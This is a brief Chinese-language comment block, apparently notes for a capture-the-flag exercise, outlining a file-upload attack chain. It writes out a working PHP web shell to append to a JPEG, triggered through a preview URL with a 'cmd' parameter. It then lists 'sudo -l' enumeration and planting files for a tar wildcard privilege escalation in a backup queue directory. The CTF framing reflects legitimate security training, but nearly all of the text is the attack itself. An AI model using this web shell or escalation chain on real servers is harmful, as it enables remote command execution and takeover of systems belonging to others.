# 本机最小验证思路（仅 CTF 实例使用）
# 1. 制作一张合法 JPEG 并追加：
# <?php echo '__YQHL_CMD_BEGIN__'; echo shell_exec($_GET['cmd'] ?? 'id'); ?>
# 2. 上传并记下 8 位十六进制资产 ID。
# 3. 触发：/preview?id=<ID>&cmd=id
# 4. 枚举：sudo -l
# 5. 在 /var/lib/app/backupqueue 中创建 tar 通配符所需文件。
